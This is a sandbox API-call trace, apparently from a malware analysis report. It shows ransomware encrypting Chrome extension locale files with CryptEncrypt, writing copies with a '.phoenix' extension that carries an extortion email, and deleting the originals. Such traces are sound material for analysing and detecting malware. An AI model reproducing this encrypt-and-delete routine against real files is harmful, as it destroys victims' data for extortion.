	[0260.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json")) returned 0x20
	[0260.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.385] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.385] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.385] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.385] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0260.386] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.386] ReadFile (in: hFile=0x2e0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.429] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.430] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.645] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0260.645] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.645] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.645] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.645] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.646] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.646] CloseHandle (hObject=0x2e0) returned 1
	[0260.646] CloseHandle (hObject=0x240) returned 1
	[0260.646] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json")) returned 1
	[0260.648] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.649] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.649] CloseHandle (hObject=0x240) returned 1
	[0260.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json")) returned 0x20
	[0260.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.649] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.649] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.650] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0260.650] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.650] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.651] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.651] WriteFile (in: hFile=0x2e0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.652] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0260.652] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.652] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.652] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.652] WriteFile (in: hFile=0x2e0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.652] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.652] CloseHandle (hObject=0x240) returned 1
	[0260.652] CloseHandle (hObject=0x2e0) returned 1
	[0260.652] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json")) returned 1
	[0260.654] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.654] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.655] CloseHandle (hObject=0x2e0) returned 1
	[0260.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json")) returned 0x20
	[0260.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.655] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.655] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.655] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.655] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.656] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0260.656] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.656] ReadFile (in: hFile=0x2e0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.657] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.657] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0260.658] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.658] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.658] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.658] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.658] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.658] CloseHandle (hObject=0x2e0) returned 1
	[0260.658] CloseHandle (hObject=0x240) returned 1
	[0260.658] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json")) returned 1
	[0260.660] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.661] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.661] CloseHandle (hObject=0x240) returned 1
	[0260.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json")) returned 0x20
	[0260.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.661] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.661] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.662] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0260.662] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.662] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.664] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.664] WriteFile (in: hFile=0x2e0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.665] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0260.665] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.665] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.665] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.665] WriteFile (in: hFile=0x2e0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.665] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.665] CloseHandle (hObject=0x240) returned 1
	[0260.665] CloseHandle (hObject=0x2e0) returned 1
	[0260.666] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json")) returned 1
	[0260.667] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.667] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.668] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.668] CloseHandle (hObject=0x2e0) returned 1
	[0260.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json")) returned 0x20
	[0260.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.804] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.804] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.804] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.804] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
